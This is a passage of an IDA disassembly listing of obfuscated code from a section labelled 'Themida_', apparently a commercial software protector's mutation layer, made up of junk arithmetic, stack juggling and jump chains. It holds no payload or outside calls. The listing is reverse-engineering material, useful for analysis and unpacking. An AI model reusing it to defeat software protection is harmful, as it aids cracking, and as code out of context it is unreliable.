loc_56EBCD: ; CODE XREF: Themida_:00570789j jmp loc_55B555 ; =============== S U B R O U T I N E ======================================= sub_56EBD2 proc near ; CODE XREF: sub_56755A+8065j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055EDD8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055F83D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056B214 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056D3D6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056DF33 SIZE 00000008 BYTES sub esp, 4 mov [esp+4+var_4], edx jmp loc_55EDD8 sub_56EBD2 endp ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push edi jmp loc_566870 ; --------------------------------------------------------------------------- loc_56EBEC: ; CODE XREF: Themida_:005706CBj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_56A8F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56250B loc_56EC01: ; CODE XREF: sub_56250B+8EDj push ecx mov cx, 1BA9h push edi jmp loc_56D97F ; END OF FUNCTION CHUNK FOR sub_56250B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56EC0C: ; CODE XREF: sub_56755A+8653j xor ebp, edi jmp loc_55C69B ; --------------------------------------------------------------------------- loc_56EC13: ; CODE XREF: sub_56755A+687Ej sub ch, bl pop ebx push eax mov ah, 0FFh add ch, ah pop eax jmp loc_5608C4 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C86A loc_56EC21: ; CODE XREF: sub_56C86A-1125Fj push esi mov esi, 4 add ebp, esi pop esi push 1FABh jmp loc_56655C ; END OF FUNCTION CHUNK FOR sub_56C86A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56EC34: ; CODE XREF: sub_56755A+8CA1j mov esi, [esp+16h+var_18+2] add esp, 4 push ebx mov ebx, 4 add esi, ebx pop ebx sub esi, 4 push 5691h mov [esp+16h+var_18+2], esi push [esp+16h+var_14+2] pop esi pop [esp+16h+var_18+2] mov esp, [esp+12h+var_14+2] jmp loc_5621F5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565C4A loc_56EC61: ; CODE XREF: sub_565C4A+9927j mov eax, 63BC53A1h jmp loc_5654B9 ; END OF FUNCTION CHUNK FOR sub_565C4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56EC6B: ; CODE XREF: sub_56755A-BD61j mov [esp+8+var_8], ecx jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56EC73: ; CODE XREF: Themida_:0056DCFDj shl eax, 4 sub eax, 3ECE20B1h add edx, eax jmp loc_56B2AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561ED8 loc_56EC82: ; CODE XREF: sub_561ED8+7E7Dj push ax jmp loc_56EA96 ; END OF FUNCTION CHUNK FOR sub_561ED8 ; --------------------------------------------------------------------------- loc_56EC89: ; CODE XREF: Themida_:00568430j push ebx mov ebx, 385B63C9h sub edi, 20D66ED6h sub edi, ebx push eax mov eax, 2F644000h jmp loc_5681BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56ECA2: ; CODE XREF: sub_56755A-9888j add edx, 4 jmp loc_5690C8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56ECAD: ; CODE XREF: Themida_:0056D310j add ecx, eax pop eax add ecx, 2 xchg ecx, [esp] mov esp, [esp] jmp loc_56F4A6 ; --------------------------------------------------------------------------- mov ax, [esp] push edx jmp loc_562430 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56ECC8: ; CODE XREF: sub_56755A+47Dj mov ebp, 5FA844E7h jmp loc_56CB59 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEC8 loc_56ECD2: ; CODE XREF: sub_56CEC8-2FB3j mov dl, 17h inc dl jmp sub_55FE13 ; END OF FUNCTION CHUNK FOR sub_56CEC8 ; --------------------------------------------------------------------------- loc_56ECDB: ; CODE XREF: Themida_:0056D9B2j push 3097h mov [esp], ebp mov ebp, 4 jmp loc_55C65C ; --------------------------------------------------------------------------- loc_56ECED: ; CODE XREF: Themida_:00570701j mov esp, [esp] jmp loc_56F66C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEC8 loc_56ED04: ; CODE XREF: sub_56CEC8+2j mov cl, 0EAh jmp loc_56C7BF ; END OF FUNCTION CHUNK FOR sub_56CEC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56ED0B: ; CODE XREF: sub_56755A-2474j add ecx, 4 add ecx, 4 jmp loc_56A39C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56ED19: ; CODE XREF: Themida_:0056F30Ej shr esi, 1 and esi, 6CE3165Bh add esi, 6132574Dh push 4834h mov [esp], ebx push 27E7h jmp loc_56FDCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D5AE loc_56ED39: ; CODE XREF: sub_56D5AE+15j shr ebx, 3 and ebx, 79443FAEh add ebx, 0F7FFEF80h add ebp, ebx jmp loc_569E9E ; END OF FUNCTION CHUNK FOR sub_56D5AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56667A loc_56ED4F: ; CODE XREF: sub_56667A-29EBj add esp, 4 inc edx jmp loc_569332 ; END OF FUNCTION CHUNK FOR sub_56667A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56ED5B: ; CODE XREF: sub_56755A+511j pop ecx pop ecx jmp sub_560CAA ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56ED62: ; CODE XREF: Themida_:0055F25Bj mov edi, 91D4414h not edi jmp loc_560E53 ; --------------------------------------------------------------------------- loc_56ED6E: ; CODE XREF: Themida_:005654F8j pop eax add esi, 430E245Fh jmp loc_56D76E ; --------------------------------------------------------------------------- loc_56ED7A: ; CODE XREF: Themida_:005646C3j xor eax, 4A2D0628h add eax, 21716F69h jmp loc_561314 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F13C loc_56ED89: ; CODE XREF: sub_56F13C-9BD6j mov ebp, [esp+4+var_4] add esp, 4 jmp sub_56D5AE ; END OF FUNCTION CHUNK FOR sub_56F13C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56ED97: ; CODE XREF: sub_56755A-497Dj mov eax, [esp+8+var_8] add esp, 4 shr esi, 2 add esi, 0FDD60CD6h and eax, esi jmp loc_56A9D2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56EDB0: ; CODE XREF: Themida_:0055FAF5j push 3FF6h mov [esp], eax mov eax, 160B2563h jmp loc_56FBB2 ; --------------------------------------------------------------------------- loc_56EDC2: ; CODE XREF: Themida_:00565071j xor edi, 0F438F314h add edx, edi mov edi, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push edx push dword ptr [esp+4] jmp loc_565770 ; --------------------------------------------------------------------------- loc_56EDEE: ; CODE XREF: Themida_:005604D6j add ecx, ebx add ecx, 4FE52B91h jmp loc_56F386 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_56EDFB: ; CODE XREF: sub_56CB1B-F4CEj sub edi, ebx mov ebx, [esp+4+var_4] push ebx mov ebx, esp add ebx, 4 jmp loc_561985 ; END OF FUNCTION CHUNK FOR sub_56CB1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_56EE0E: ; CODE XREF: sub_55FDEF+1043Aj push edi mov edi, 4 add edx, edi pop edi xchg edx, [esp+8+var_8] jmp loc_55E8D2 ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- lodsb push ecx jmp loc_56B6B4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_56EE26 proc near ; CODE XREF: sub_565CEF-4B32j arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 005665D0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056A04F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056C763 SIZE 0000001C BYTES push ebp mov ebp, esp jmp loc_5665D0 sub_56EE26 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEC8 loc_56EE2E: ; CODE XREF: sub_56CEC8-A270j pop edx jmp loc_561F7B ; END OF FUNCTION CHUNK FOR sub_56CEC8 ; --------------------------------------------------------------------------- loc_56EE34: ; CODE XREF: Themida_:0056234Ej push dword ptr [esp] pop edx add esp, 4 jmp loc_565137 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56EE40: ; CODE XREF: sub_56755A-7212j mov edx, ebp pop ebp jmp loc_55F89A ; --------------------------------------------------------------------------- loc_56EE48: ; CODE XREF: sub_56755A-8880j mov [esp+0Ch+var_C], edx mov edx, 610900CDh dec edx jmp loc_56418C ; --------------------------------------------------------------------------- loc_56EE56: ; CODE XREF: sub_56755A+739Cj mov edi, 68D4BA8h or edi, 20E93604h sub edi, 6FB823B1h sub edi, 111C6D69h inc edi not edi add edi, 0A618EE98h add ecx, edi pop edi jmp loc_55CE13 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565269 loc_56EE7E: ; CODE XREF: sub_565269+475Aj or eax, 30B37A34h xor eax, 0DBFE2C23h mov ebx, eax pop eax add ebx, 9E64A25h add ebx, 8C51C6ABh xor edx, ebx pop ebx jmp loc_56CF50 ; END OF FUNCTION CHUNK FOR sub_565269 ; --------------------------------------------------------------------------- loc_56EE9F: ; CODE XREF: Themida_:0056BC25j push eax push edx jmp loc_5688D8 ; --------------------------------------------------------------------------- loc_56EEA6: ; CODE XREF: Themida_:0056FDFBj add ebx, 4D443CB4h jmp loc_560F64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643BC loc_56EEB1: ; CODE XREF: sub_5643BC+AFC5j pop edx inc ebp neg ebp xor ebp, 845D3368h jmp loc_56A3C9 ; END OF FUNCTION CHUNK FOR sub_5643BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56EEC0: ; CODE XREF: sub_56755A-B9A4j push edi mov edi, esp add edi, 4 jmp loc_55F960 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55EA9F loc_56EECE: ; CODE XREF: sub_55EA9F+20j or edx, esi pop esi add edx, 5CC35FDBh sub edx, 7576DF56h mov esi, edx jmp loc_56671A ; END OF FUNCTION CHUNK FOR sub_55EA9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E931 loc_56EEE4: ; CODE XREF: sub_55E931+10F2Bj xor edi, 7AB72B4h add esi, edi pop edi and ecx, esi push [esp-4+arg_0] pop esi add esp, 4 jmp loc_56253C ; END OF FUNCTION CHUNK FOR sub_55E931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_56EEFE: ; CODE XREF: sub_566504+3D75j pop edi push esi xor [esp-4+arg_0], esi xor esi, [esp-4+arg_0] xor [esp-4+arg_0], esi xchg ebx, esi not ebx jmp loc_55CAD8 ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56EF12: ; CODE XREF: sub_56755A-32FFj jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F13C loc_56EF17: ; CODE XREF: sub_56F13C-E119j xchg ecx, [esp+0] pop esp or edx, eax shl edx, 1 sub esp, 4 mov [esp+0], ebx sub esp, 4 mov [esp+4+var_4], ecx push 537735F0h jmp loc_568619 ; END OF FUNCTION CHUNK FOR sub_56F13C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5636A9 loc_56EF35: ; CODE XREF: sub_5636A9+CC2Fj jmp dword ptr [edi+eax*4] ; END OF FUNCTION CHUNK FOR sub_5636A9 ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- jmp loc_55F40E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56EF3F: ; CODE XREF: sub_56E89A-11D7Dj mov [esp+4+var_4], edx jmp loc_56333A ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_56EF47: ; CODE XREF: sub_55CD7B+6CB9j xor esi, ecx xor ecx, esi xor esi, ecx jmp loc_56034D ; END OF FUNCTION CHUNK FOR sub_55CD7B ; =============== S U B R O U T I N E ======================================= sub_56EF52 proc near ; CODE XREF: sub_56970A-B8F6j push ebp jmp loc_567BCF sub_56EF52 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56542E loc_56EF58: ; CODE XREF: sub_56542E+6D20j mov eax, esp add eax, 4 add eax, 4 jmp loc_56925B ; END OF FUNCTION CHUNK FOR sub_56542E ; --------------------------------------------------------------------------- lodsb xor al, bl push 4812h mov [esp], ecx push ebx mov bh, 7Bh and bh, 95h sub bh, 69h mov ch, bh jmp loc_55DD61 ; --------------------------------------------------------------------------- loc_56EF84: ; CODE XREF: Themida_:0056178Dj mov bx, 2ED8h xor bx, cx mov ecx, [esp] push edi jmp loc_5679F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E75E loc_56EF94: ; CODE XREF: sub_56E75E-35EDj add esi, 4 xchg esi, [esp+4+var_4] jmp loc_56A212 ; END OF FUNCTION CHUNK FOR sub_56E75E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56EF9F: ; CODE XREF: sub_56755A-250Dj mov edi, 4 add esi, edi pop edi push esi push [esp+10h+var_C] jmp loc_56EFDC ; --------------------------------------------------------------------------- loc_56EFB1: ; CODE XREF: sub_56755A+281Ej mov [esp+4+var_4], eax jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56EFB9: ; CODE XREF: Themida_:0056481Cj mov ecx, 0D7E0933h not ecx push edx mov edx, 52D11CA9h not edx jmp loc_55EC26 ; --------------------------------------------------------------------------- loc_56EFCD: ; CODE XREF: Themida_:00569465j add edx, ebp jmp loc_55BCB2 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_56AACE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56EFDC: ; CODE XREF: sub_56755A+7A52j pop esi pop [esp+10h+var_10] pop esp add esp, 4 push edi mov edi, 114D352Ah xor edi, 60B35F69h jmp loc_5601EF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56EFF5: ; CODE XREF: Themida_:005646CBj mov edi, 0DD71A827h add edi, ecx mov ecx, [esp] add esp, 4 and edi, 7A0F7DC2h not edi xor edi, 0E1C3CC77h xor ecx, edi pop edi mov esi, ecx pop ecx dec esi push esi not dword ptr [esp] pop esi push 2377h jmp loc_564BDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_56F029: ; CODE XREF: sub_562F50+C7A4j and ebp, 702C700Ch xor ebp, 138D0F09h sub edx, ebp pop ebp xor edx, 0C1107EEh jmp loc_55FCE1 ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F043: ; CODE XREF: sub_56755A-AB78j push esi mov esi, esp add esi, 4 push edi push edx jmp loc_5684C0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56F053: ; CODE XREF: sub_56E89A-CF67j push edx push 2ED4618Ah jmp loc_55E110 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F05E: ; CODE XREF: sub_56755A-824Bj pop esp push eax mov eax, esp jmp loc_568F43 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56F067: ; CODE XREF: Themida_:005656CCj sub esp, 4 mov [esp], edx mov edx, 3B25094Ah xor ebx, edx pop edx jmp loc_56B64E ; --------------------------------------------------------------------------- loc_56F07D: ; CODE XREF: Themida_:0056C66Dj dec ebp xor ebp, 74B85F8Bh jmp loc_567D0D ; --------------------------------------------------------------------------- push esi push eax mov eax, esp add eax, 4 jmp loc_566790 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F097: ; CODE XREF: sub_56755A-119Ej pop edx add ebp, 14C0327Bh sub ebp, 473D55B5h add ebp, edi push esi mov esi, 473D55B5h add ebp, esi pop esi push edx mov edx, 14C0327Bh sub ebp, edx pop edx pop edi add ebp, 4 jmp loc_56BC2A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56F0C1: ; CODE XREF: Themida_:00561FCEj and ecx, 5C8F1213h xor ecx, 50E32393h add ebx, ecx pop ecx sub ebx, 2CED07E7h add ebx, 422E66BBh jmp loc_56C2DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F0E1: ; CODE XREF: sub_56755A-90Fj add edx, esi jmp loc_56340D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C65 loc_56F0E8: ; CODE XREF: sub_566C65-7BC8j push edi push edi mov edi, 6BE471CDh sub [esp+10h+var_C], edi pop edi mov ecx, [esp+0Ch+var_C] add esp, 4 jmp loc_56B895 ; END OF FUNCTION CHUNK FOR sub_566C65 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push ebx mov ebx, 707519C3h push edx mov edx, 7AAA178Fh sub ebx, edx pop edx jmp loc_5705B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F185 loc_56F116: ; CODE XREF: sub_55F185+17j add eax, 42E97ADEh pop ebx xor eax, 4DA140FFh xor eax, 58452795h push esi mov esi, 1F25158h jmp loc_56A171 ; END OF FUNCTION CHUNK FOR sub_55F185 ; --------------------------------------------------------------------------- loc_56F131: ; CODE XREF: Themida_:0056F185j sub eax, 2592CA1h pop ecx jmp loc_55FD2B ; =============== S U B R O U T I N E ======================================= sub_56F13C proc near ; CODE XREF: sub_56755A+6CAEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0055FE04 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056100B SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005617A6 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00565561 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00565654 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00566881 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00568619 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056B310 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056ED89 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056EF17 SIZE 0000001E BYTES push ebx mov ebx, 7B015450h and eax, ebx jmp loc_566881 sub_56F13C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F149: ; CODE XREF: sub_56755A+2626j push 526Dh jmp loc_55C652 ; --------------------------------------------------------------------------- loc_56F153: ; CODE XREF: sub_56755A+5EBCj xchg ebx, [esp+8+var_8] jmp loc_563413 ; --------------------------------------------------------------------------- loc_56F15B: ; CODE XREF: sub_56755A+2865j and ebx, edi pop edi push eax mov eax, 15753789h jmp loc_56938D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_56F169: ; CODE XREF: sub_55FDEF-F48j push eax mov eax, esp push esi jmp loc_55D447 ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- loc_56F172: ; CODE XREF: Themida_:00560543j xor edi, 9DFD7BA7h push edi pop esi pop edi xor ecx, esi pop esi add eax, 2592CA1h add eax, ecx jmp loc_56F131 ; --------------------------------------------------------------------------- loc_56F18A: ; CODE XREF: Themida_:005628FAj mov esi, 2616706Eh jmp loc_5605E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_56F194: ; CODE XREF: sub_56F653-10949j sub ebp, 1BC70228h dec ebp xor ebp, 0C14596BBh xor eax, ebp pop ebp sub ebp, 0BCE2793h add ebp, eax add ebp, 0BCE2793h mov eax, [esp+4+var_4] add esp, 4 jmp sub_55D71E ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F1C0: ; CODE XREF: sub_56755A+649Bj push esp pop eax add eax, 4 jmp loc_566B70 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_56F1CC: ; CODE XREF: sub_55CD7B+6856j pop edx pop [esp+0Ch+var_C] pop esp push ebx push esp jmp loc_56236B ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F1D8: ; CODE XREF: sub_56755A-BE23j sub cl, al mov eax, [esp+8+var_8] jmp loc_569155 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DE37 loc_56F1E2: ; CODE XREF: sub_55DE37+85BEj sub eax, 4 xchg eax, [esp-8+arg_4] pop esp mov [esp-0Ch+arg_8], edx push edx mov edx, esp add edx, 4 jmp sub_5672A7 ; END OF FUNCTION CHUNK FOR sub_55DE37 ; --------------------------------------------------------------------------- loc_56F1FA: ; CODE XREF: Themida_:0055C2D9j pop edx add ebx, 0BCEBE52h add ecx, 27E11AE0h sub ecx, ebx sub ecx, 27E11AE0h pop ebx push edx mov edx, 67BD35B6h sub edx, 4D1C2CA3h add edi, edx pop edx add edi, ecx sub edi, 1AA10913h mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_56C681 ; --------------------------------------------------------------------------- loc_56F238: ; CODE XREF: Themida_:00562332j xor edx, 53C614CEh add edx, 2B93170Ah push 3AEDh mov [esp], ebx push edi mov edi, 21054D8h jmp loc_55ED6B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562FB2 loc_56F257: ; CODE XREF: sub_562FB2+152Cj mov esi, 7B9F4FDDh or eax, esi pop esi jmp sub_55F185 ; END OF FUNCTION CHUNK FOR sub_562FB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F264: ; CODE XREF: sub_56755A+E7j mov esp, [esp+0] jmp loc_56FD32 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F861 loc_56F26C: ; CODE XREF: sub_55F861-3EABj pop esp jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_55F861 ; --------------------------------------------------------------------------- loc_56F272: ; CODE XREF: Themida_:0056D4EAj push 2DF752F7h pop edx sub edx, 0D0593CF3h jmp loc_564060 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F283: ; CODE XREF: sub_56755A+7F47j inc ecx and ecx, 4DF07EE3h jmp loc_5604C8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56F28F: ; CODE XREF: sub_56E89A-DBF5j push edi mov edi, 2FE63D8Ch not edi jmp loc_5640A5 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_56F29C: ; CODE XREF: Themida_:00566DC1j mov [esp], ecx mov cl, ah mov bh, cl jmp loc_563C94 ; --------------------------------------------------------------------------- loc_56F2A8: ; CODE XREF: Themida_:0056A59Dj sub bl, 5Eh add bl, al add bl, 5Eh pop eax sub bl, dh push eax jmp loc_55FC4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F2B9: ; CODE XREF: sub_56755A+A76j or edx, 62B97D18h add edx, 0E424F2DFh mov eax, edx jmp loc_5615E5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56F2CC: ; CODE XREF: Themida_:00565C7Bj push 2869h mov [esp], edx mov edx, 5636F92h add edx, 1 add edx, 0FFFFFFFFh push eax mov eax, 6D5F3B6Dh dec eax not eax shl eax, 3 jmp loc_55D4BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F2F3: ; CODE XREF: sub_56755A+8FE2j push ecx jmp loc_5677BB ; --------------------------------------------------------------------------- loc_56F2F9: ; CODE XREF: sub_56755A-9DE5j pop ecx neg dh push ecx mov ch, 0D0h dec ch jmp loc_55E7E7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56F306: ; CODE XREF: Themida_:0055FDCFj mov [esp], esi mov esi, 63B80A27h jmp loc_56ED19 ; --------------------------------------------------------------------------- loc_56F313: ; CODE XREF: Themida_:0056EB6Cj add esp, 4 jmp loc_56C627 ; --------------------------------------------------------------------------- loc_56F31E: ; CODE XREF: Themida_:0056DF41j push 6DCh mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push 761Ah jmp loc_570640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F348: ; CODE XREF: sub_56755A-2851j xor edx, 8292449Ah xor ebx, edx pop edx jmp loc_563879 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56F356: ; CODE XREF: Themida_:00566BA9j push ecx mov ecx, 2C953F35h mov ebp, ecx pop ecx xchg eax, ebp not eax jmp loc_55FCA4 ; --------------------------------------------------------------------------- loc_56F367: ; CODE XREF: Themida_:0056BB46j mov ebp, [esp] add esp, 4 jmp loc_55E17E ; --------------------------------------------------------------------------- loc_56F372: ; CODE XREF: Themida_:0056F609j push 42C2h mov [esp], ecx jmp loc_566F51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643BC loc_56F37F: ; CODE XREF: sub_5643BC+C40Aj or ebp, edx jmp loc_56EEB1 ; END OF FUNCTION CHUNK FOR sub_5643BC ; --------------------------------------------------------------------------- loc_56F386: ; CODE XREF: Themida_:0056EDF6j sub ecx, 16A91ABBh pop ebx push 70CEh mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_56339D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F3A3: ; CODE XREF: sub_56755A-97A9j mov edx, ebx pop ebx push eax jmp loc_5624CC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- dd 24048B66h, 0E904EC83h, 0FFFF2A27h ; --------------------------------------------------------------------------- loc_56F3B8: ; CODE XREF: Themida_:0056077Bj add esi, 332F09E9h inc esi sub esi, 1EEEE944h add ebx, esi pop esi sub ebx, 25A45785h add ebx, edi add ebx, 25A45785h sub ebx, 505861F2h push dword ptr [esp] jmp loc_55B643 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F3E4: ; CODE XREF: sub_56755A+397j push edi push esi mov esi, 22ED51BFh add esi, 3AD15DB8h jmp loc_55FB67 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565CEF loc_56F3F6: ; CODE XREF: sub_565CEF-6986j pop ebp push 116Ch mov [esp+4+var_4], esi jmp loc_564467 ; END OF FUNCTION CHUNK FOR sub_565CEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566FBB loc_56F404: ; CODE XREF: sub_566FBB+5CC1j mov [esp+8+var_8], edx pop ebp pop edx jmp loc_56A188 ; END OF FUNCTION CHUNK FOR sub_566FBB ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push 5291h jmp loc_5603C3 ; --------------------------------------------------------------------------- loc_56F41C: ; CODE XREF: Themida_:0056CA3Bj mov esi, esp add esi, 4 jmp loc_562A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F429: ; CODE XREF: sub_56755A+6017j inc edx jmp loc_569368 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- lodsd push esi mov esi, 2EE743B0h not esi inc esi sub esi, 0CD27A065h add eax, esi mov esi, [esp] 